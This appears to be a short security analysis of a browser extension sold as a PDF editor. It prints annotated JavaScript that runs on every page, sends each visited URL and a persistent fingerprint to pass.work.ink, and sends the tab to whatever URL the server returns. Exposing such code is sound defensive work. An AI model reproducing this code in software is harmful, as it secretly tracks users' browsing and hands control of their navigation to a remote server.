Is PDF Editor safe?

// Runs at document_start on every HTTP/HTTPS page.// Step 1: get the current page URL.const currentUrl = window.location.href;if (!currentUrl || currentUrl.trim() === '' || !currentUrl.startsWith('http')) return;// Step 2: retrieve the persistent fingerprint UUID from the background.const fingerprint = await chrome.runtime.sendMessage({ type: 'getFingerprint' });// Step 3: check if an ad blocker is installed.const adblockerInstalled = (await chrome.runtime.sendMessage({ type: 'getAdblockerStatus' })) ? 1 : 0;// Step 4: transmit the visited URL (base64-encoded) + fingerprint to pass.work.ink.const response = await fetch(  `https://pass.work.ink/redirect/${encodeURIComponent(btoa(currentUrl))}` +  `?fingerprint=${encodeURIComponent(fingerprint)}&adblockerInstalled=${adblockerInstalled}&base64=1&json=1`);// Step 5: parse the JSON response.const result = await response.json();// Step 6: if the server tells us to redirect, navigate the tab to the server-specified URL.if (!result.noRedirect) {  window.location.href = result.to;}

// Fetch the redirect instruction from the server.const response = await fetch(  `https://pass.work.ink/redirect/${encodeURIComponent(btoa(currentUrl))}` +  `?fingerprint=${encodeURIComponent(fingerprint)}&adblockerInstalled=${adblockerInstalled}&base64=1&json=1`);// Parse the JSON response.const instruction = await response.json();// instruction example: { noRedirect: true, to: 'https://www.google.com/', timestamp: '2026-04-15T09:21:05.686Z' }// If the server says to redirect, navigate to the server-specified URL.// The destination is entirely determined by the server's current response.if (!instruction.noRedirect) {  window.location.href = instruction.to;  // overrides the current page}
